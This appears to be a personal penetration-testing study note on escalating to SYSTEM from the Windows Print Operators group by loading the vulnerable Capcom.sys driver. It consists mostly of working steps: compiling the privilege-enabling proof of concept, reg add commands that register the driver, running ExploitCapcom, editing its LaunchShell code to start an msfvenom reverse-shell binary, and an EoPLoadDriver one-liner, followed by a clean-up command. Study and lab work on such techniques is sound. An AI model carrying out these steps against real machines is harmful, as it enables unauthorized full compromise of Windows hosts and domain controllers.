Windows Print Operators

• Print Operators is another highly privileged group, which grants its members the SeLoadDriverPrivilege, rights to manage, create, share, and delete printers connected to a Domain Controller, as well as the ability to log on locally to a Domain Controller and shut it down.

Exploitation - With GUI

Confirming Privileges

whoami /priv

Checking Privileges Again

• use admin cmd

whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                          State
-----------------------------------------------------------
SeMachineAccountPrivilege     Add workstations to domain           Disabled
SeLoadDriverPrivilege         Load and unload device drivers       Disabled
SeShutdownPrivilege           Shut down the system			       Disabled
SeChangeNotifyPrivilege       Bypass traverse checking             Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set       Disabled

• It's well known that the driver Capcom.sys contains functionality to allow any user to execute shellcode with SYSTEM privileges.

• We can use our privileges to load this vulnerable driver and escalate privileges.

  • We can use this tool to load the driver.

    • The PoC enables the privilege as well as loads the driver for us.

• Download it locally and edit it, pasting over the includes below.

#include <windows.h>
#include <assert.h>
#include <winternl.h>
#include <sddl.h>
#include <stdio.h>
#include "tchar.h"

• Next, from a Visual Studio 2019 Developer Command Prompt, compile it using cl.exe.

Compile with cl.exe

cl /DUNICODE /D_UNICODE EnableSeLoadDriverPrivilege.cpp

Add Reference to Driver

reg add HKCU\System\CurrentControlSet\CAPCOM /v ImagePath /t REG_SZ /d "\??\C:\Tools\Capcom.sys"

 reg add HKCU\System\CurrentControlSet\CAPCOM /v Type /t REG_DWORD /d 1

• The odd syntax \??\ used to reference our malicious driver's ImagePath is an NT Object Path. The Win32 API will parse and resolve this path to properly locate and load our malicious driver.

Verify Driver is not Loaded

• Using Nirsoft's DriverView.exe, we can verify that the Capcom.sys driver is not loaded

.\DriverView.exe /stext drivers.txt

cat drivers.txt | Select-String -pattern Capcom

• no output should come

Verify Privilege is Enabled

• Run the EnableSeLoadDriverPrivilege.exe binary.

EnableSeLoadDriverPrivilege.exe

Verify Capcom Driver is Listed

.\DriverView.exe /stext drivers.txt

cat drivers.txt | Select-String -pattern Capcom

Use ExploitCapcom Tool to Escalate Privileges

• To exploit the Capcom.sys, we can use the ExploitCapcom tool after compiling with it Visual Studio.

.\ExploitCapcom.exe

• This launches a shell with SYSTEM privileges. ![[Pasted image 20240806113634.png]]

Alternate Exploitation - No GUI

• we will have to modify the ExploitCapcom.cpp code before compiling.

• Here we can edit line 292 and replace "C:\\Windows\\system32\\cmd.exe" with, say, a reverse shell binary created with msfvenom, for example: c:\ProgramData\revshell.exe.

// Launches a command shell process
static bool LaunchShell()
{
    TCHAR CommandLine[] = TEXT("C:\\Windows\\system32\\cmd.exe");
    PROCESS_INFORMATION ProcessInfo;
    STARTUPINFO StartupInfo = { sizeof(StartupInfo) };
    if (!CreateProcess(CommandLine, CommandLine, nullptr, nullptr, FALSE,
        CREATE_NEW_CONSOLE, nullptr, nullptr, &StartupInfo,
        &ProcessInfo))
    {
        return false;
    }

    CloseHandle(ProcessInfo.hThread);
    CloseHandle(ProcessInfo.hProcess);
    return true;
}

• The CommandLine string in this example would be changed to:

 TCHAR CommandLine[] = TEXT("C:\\ProgramData\\revshell.exe");

• We would set up a listener based on the msfvenom payload we generated and hopefully receive a reverse shell connection back when executing ExploitCapcom.exe.

• If a reverse shell connection is blocked for some reason, we can try a bind shell or exec/add user payload.

Automating the Steps

Automating with EopLoadDriver

• We can use a tool such as EoPLoadDriver to automate the process of enabling the privilege, creating the registry key, and executing NTLoadDriver to load the driver.
• To do this, we would run the following:

EoPLoadDriver.exe System\CurrentControlSet\Capcom c:\Tools\Capcom.sys

• We would then run ExploitCapcom.exe to pop a SYSTEM shell or run our custom binary.

Clean-up

Removing Registry Key

reg delete HKCU\System\CurrentControlSet\Capcom

Note: Since Windows 10 Version 1803, the "SeLoadDriverPrivilege" is not exploitable, as it is no longer possible to include references to registry keys under "HKEY_CURRENT_USER".